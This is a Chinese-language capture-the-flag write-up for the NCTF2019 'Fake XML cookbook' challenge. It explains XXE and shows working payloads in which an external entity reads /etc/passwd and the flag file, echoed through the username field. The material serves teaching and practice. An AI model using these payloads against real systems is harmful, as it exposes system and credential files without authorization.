[NCTF2019]Fake XML cookbook
源代码中发现JS代码 :
<script type='text/javascript'>
function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}});
}
</script>
携带username和password参数访问doLogin.php,根据返回值进行回显,会显示错误信息。考虑sql注入,尝试了一下发现注入字符都无法产生效果,感觉是转义了。
根据题目Fake XML cookbook怀疑是没见过的新知识,直接看解析吧...
XXE 漏洞是一种针对处理 XML 数据的应用程序的安全漏洞,当应用程序在解析 XML 输入时,未正确限制外部实体的加载,导致攻击者可构造恶意 XML 内容,读取服务器本地文件、访问内部网络资源,甚至执行远程代码(在特定条件下)。
在该题中:
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,// ...
});
前端通过 AJAX 发送 XML 格式的数据到后端,说明后端需要解析xml格式的请求。并且传输请求的时候,直接将用户输入拼接到data中。此时假如后端没有禁用外部实体加载,我们就能通过抓包修改请求,利用外部实体加载访问敏感文件。又由于前端能够回显username,那就方便了我们获取文件内容。
具体怎么做呢?
原请求中xml数据格式为:
<user>
<username>
admin
</username>
<password>
123
</password>
</user>
由于回显的是username的值,所以注入点在username:
<?xml version="1.0" encoding="utf-8"?> <!-- XML声明:版本1.0,编码UTF-8 -->
<!DOCTYPE note [ <!-- DOCTYPE声明:定义文档类型为"note" -->
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user>
<username>
&admin;
</username>
<password>
123
</password>
</user>
ENTITY
:关键字,表示定义实体。
admin
:实体名称,可在 XML 中通过&admin;
引用。
SYSTEM
:关键字,表示引用外部资源。
file:///etc/passwd
:URI,指向本地文件系统中的/etc/passwd(
在 Linux/Unix 系统中存储用户账户信息的文件)。
playload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123</password></user>
成功访问该文件,但是没有发现用户账户密码。尝试直接访问flag文件:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123</password></user>
成功获得flag。
总结一下:从网页源代码和抓包post数据格式可以发现前端请求是XML格式,并且存在用户可控参数和回显,因此考虑xxe漏洞。